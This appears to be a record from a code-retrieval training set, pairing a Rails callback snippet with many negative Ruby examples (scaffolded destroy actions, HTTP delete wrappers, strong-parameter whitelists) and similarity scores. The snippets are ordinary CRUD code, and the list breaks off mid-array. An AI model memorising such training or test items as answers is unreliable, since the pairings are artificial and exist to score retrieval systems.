"def destroy\n @retroaspecto = Retroaspecto.find(params[:id])\n @retroaspecto.destroy\n\n respond_to do |format|\n format.html { redirect_to retroaspectos_url }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @requerimiento = Requerimiento.find(params[:id])\n @requerimiento.destroy\n\n respond_to do |format|\n format.html { redirect_to requerimientos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @nominee.destroy\n respond_to do |format|\n format.html { redirect_to nominees_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ruolo.destroy\n respond_to do |format|\n format.html { redirect_to ruolos_url, notice: 'Ruolo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @remocao = Remocao.find(params[:id])\n @remocao.destroy\n\n respond_to do |format|\n format.html { redirect_to(remocaos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @realiza = Realiza.find(params[:id])\n @realiza.destroy\n\n respond_to do |format|\n format.html { redirect_to realizas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n head :no_content\n end",
"def delete(options={})\n connection.delete(\"/\", @name)\n end",
"def destroy\n @fulcliente = Fulcliente.find(params[:id])\n @fulcliente.destroy\n\n respond_to do |format|\n format.html { redirect_to fulclientes_url }\n format.json { head :ok }\n end\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def destroy\n @oeuvre.destroy\n respond_to do |format|\n format.html { redirect_to oeuvres_url, notice: 'Oeuvre was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exura = Exura.find(params[:id])\n @exura.destroy\n\n respond_to do |format|\n format.html { redirect_to exuras_url }\n format.json { head :no_content }\n end\n end",
"def delete\n RestClient.delete(url, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end",
"def destroy\n @premio = Premio.find(params[:id])\n @premio.destroy\n\n respond_to do |format|\n format.html { redirect_to premios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @premio = Premio.find(params[:id])\n @premio.destroy\n\n respond_to do |format|\n format.html { redirect_to premios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @sivic_relatorioscelula.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_relatorioscelulas_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def delete!\n Recliner.delete(uri)\n end",
"def destroy\n @retroalimentacion = Retroalimentacion.find(params[:id])\n @retroalimentacion.destroy\n\n respond_to do |format|\n format.html { redirect_to retroalimentacions_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @tipo_unidad.destroy\n respond_to do |format|\n format.html { redirect_to tipo_unidades_url }\n format.json { head :no_content }\n end\n end",
"def delete\n api(\"Delete\")\n end",
"def destroy\n @repa = Repa.find(params[:id])\n @repa.destroy\n\n respond_to do |format|\n format.html { redirect_to repas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @repa = Repa.find(params[:id])\n @repa.destroy\n\n respond_to do |format|\n format.html { redirect_to repas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sotrudniki = Sotrudniki.find(params[:id])\n @sotrudniki.destroy\n\n respond_to do |format|\n format.html { redirect_to sotrudnikis_url }\n format.json { head :no_content }\n end\n end",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def destroy\n @obra.destroy\n respond_to do |format|\n format.html { redirect_to obras_url, notice: 'Obra removida com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trnodo = Trnodo.find(params[:id])\n @trnodo.destroy\n\n respond_to do |format|\n format.html { redirect_to trnodos_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @orador = Orador.find(params[:id])\n @orador.destroy\n\n respond_to do |format|\n format.html { redirect_to oradores_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @razmer_go = RazmerGo.find(params[:id])\n @razmer_go.destroy\n\n respond_to do |format|\n format.html { redirect_to razmer_gos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @core_tipo_unidade = Core::TipoUnidade.find(params[:id])\n @core_tipo_unidade.destroy\n\n respond_to do |format|\n format.html { redirect_to core_tipo_unidades_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @objeto.destroy\n respond_to do |format|\n format.html { redirect_to referencia_bases_url, notice: \"Referencia base was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @osoba = Osoba.find(params[:id])\n @osoba.destroy\n\n head :no_content\n end",
"def destroy\n @estatuto = Estatuto.find(params[:id])\n @estatuto.destroy\n\n respond_to do |format|\n format.html { redirect_to estatutos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ruta.destroy\n respond_to do |format|\n format.html { redirect_to rutas_url, notice: 'Ruta was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @datosgenerale.destroy\n respond_to do |format|\n format.html { redirect_to datosgenerales_url }\n format.json { head :no_content }\n end\n end",
"def delete(url, headers={})\n RestClient.delete url, headers\n end",
"def destroy\n @relatestagiario = Relatestagiario.find(params[:id])\n @relatestagiario.destroy\n\n respond_to do |format|\n format.html { redirect_to(relatestagiarios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @addre = Addre.find(params[:id])\n @addre.destroy\n\n respond_to do |format|\n format.html { redirect_to addres_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @redacao.destroy\n respond_to do |format|\n format.html { redirect_to redacaos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ministerio = Ministerio.find(params[:id])\n @ministerio.destroy\n\n respond_to do |format|\n format.html { redirect_to ministerios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @humanidades1 = Humanidades1.find(params[:id])\n @humanidades1.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades1s_url }\n format.json { head :no_content }\n end\n end",
"def delete!\n request! :delete\n end",
"def destroy\n @asociado = Asociado.find(params[:id])\n @asociado.destroy\n\n respond_to do |format|\n format.html { redirect_to asociados_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @leito = Leito.find(params[:id])\n @leito.destroy\n\n respond_to do |format|\n format.html { redirect_to leitos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @antropo.destroy\n respond_to do |format|\n format.html { redirect_to antropos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restora.destroy\n respond_to do |format|\n format.html { redirect_to restoras_url, notice: 'Restora was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end",
"def destroy\n @obra = Obra.find(params[:id])\n @obra.destroy\n\n respond_to do |format|\n format.html { redirect_to obras_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @nota_tecnica.destroy\n respond_to do |format|\n format.html { redirect_to nota_tecnicas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tapioca.destroy\n respond_to do |format|\n format.html { redirect_to tapiocas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurantes_proximo.destroy\n respond_to do |format|\n format.html { redirect_to restaurantes_proximos_url, notice: 'Restaurantes proximo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gran_unidad.destroy\n respond_to do |format|\n format.html { redirect_to gran_unidad_index_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @alumno.destroy\n respond_to do |format|\n format.html { redirect_to grupos_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @objeto.destroy\n respond_to do |format|\n format.html { redirect_to revistas_url, notice: 'Revista was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rotina.destroy\n respond_to do |format|\n format.html { redirect_to rotinas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipoocorrencium.destroy\n respond_to do |format|\n format.html { redirect_to tipoocorrencia_url, notice: 'Tipoocorrencium was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] | [
"0.72026485",
"0.715872",
"0.7100239",
"0.7082266",
"0.70052516",
"0.69481534",
"0.6925414",
"0.69232285",
"0.6921669",
"0.6910399",
"0.6899702",
"0.68919283",
"0.6891002",
"0.6883174",
"0.6872833",
"0.6872833",
"0.6872833",
"0.6872833",
"0.68534666",
"0.6843784",
"0.6840353",
"0.6828025",
"0.6819822",
"0.6811692",
"0.6803254",
"0.68024033",
"0.68024033",
"0.6791856",
"0.67904675",
"0.67759436",
"0.67754436",
"0.6765791",
"0.6762202",
"0.67538494",
"0.67517096",
"0.6747161",
"0.67398554",
"0.6735753",
"0.6731488",
"0.672994",
"0.67274004",
"0.6720327",
"0.671968",
"0.6718036",
"0.6717103",
"0.67142063",
"0.6710478",
"0.6703977",
"0.6703911",
"0.67037225",
"0.6698423",
"0.66975784",
"0.66955984",
"0.6695547",
"0.6695424",
"0.66945034",
"0.66945034",
"0.6688337",
"0.668825",
"0.66872627",
"0.6686712",
"0.668381",
"0.66834974",
"0.6681804",
"0.6681804",
"0.66741264",
"0.6673922",
"0.6670272",
"0.6668846",
"0.66687053",
"0.6668406",
"0.6665871",
"0.666256",
"0.6656507",
"0.6654495",
"0.6653481",
"0.6649779",
"0.66494995",
"0.66467905",
"0.6646114",
"0.6642541",
"0.66422826",
"0.6641952",
"0.66418445",
"0.6641405",
"0.66407347",
"0.66396827",
"0.663869",
"0.66362244",
"0.66356087",
"0.66346985",
"0.66329235",
"0.66299784",
"0.6627044",
"0.66263705",
"0.6626332",
"0.662501",
"0.6624781",
"0.6621648",
"0.66202915",
"0.662017"
] | 0.0 | -1 |
Use callbacks to share common setup or constraints between actions. | def set_reuniao
@reuniao = Reuniao.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def set_actions\n actions :all\n end",
"def define_action_helpers?; end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def setup_handler\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def before_action \n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def after_set_callback; end",
"def initialize(*args)\n super\n @action = :set\nend",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def save_action; end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def setup(&blk)\n @setup_block = blk\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def duas1(action)\n action.call\n action.call\nend",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def call\n setup_context\n super\n end"
] | [
"0.61642385",
"0.60448",
"0.5945487",
"0.5915654",
"0.58890367",
"0.58330417",
"0.5776098",
"0.5703048",
"0.5703048",
"0.5654613",
"0.5620029",
"0.5423114",
"0.540998",
"0.540998",
"0.540998",
"0.5393666",
"0.53783023",
"0.53568405",
"0.53391176",
"0.5339061",
"0.53310865",
"0.5312988",
"0.529798",
"0.52968603",
"0.52962637",
"0.52577317",
"0.5244704",
"0.5236856",
"0.5236856",
"0.5236856",
"0.5236856",
"0.5236856",
"0.5233461",
"0.52322435",
"0.5227552",
"0.52224743",
"0.5217851",
"0.521241",
"0.52069896",
"0.5206555",
"0.5176617",
"0.51738507",
"0.51725876",
"0.51660734",
"0.51605034",
"0.51571786",
"0.5152762",
"0.5152164",
"0.5151477",
"0.5145819",
"0.51408994",
"0.5134412",
"0.5114031",
"0.5113695",
"0.5113695",
"0.5108603",
"0.5107358",
"0.5090405",
"0.50889385",
"0.50817686",
"0.5081617",
"0.50658226",
"0.50551206",
"0.5051746",
"0.5049091",
"0.5049091",
"0.5034681",
"0.5024972",
"0.5021291",
"0.5016024",
"0.50134826",
"0.50008893",
"0.50000244",
"0.4999155",
"0.49907947",
"0.49907947",
"0.49853387",
"0.49796683",
"0.4979596",
"0.49778128",
"0.49673793",
"0.49662578",
"0.49587822",
"0.4956063",
"0.49550167",
"0.49523485",
"0.4951614",
"0.49452996",
"0.49442068",
"0.49336892",
"0.49306205",
"0.49264124",
"0.49259305",
"0.4925823",
"0.49229056",
"0.4918999",
"0.49171805",
"0.49167436",
"0.4916559",
"0.49153692",
"0.49148256"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def reuniao_params
params.require(:reuniao).permit(:titulo, :data, :horaInicio, :horaFim, :status, :local_id, :pautum_id, :atum_id, :category_id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
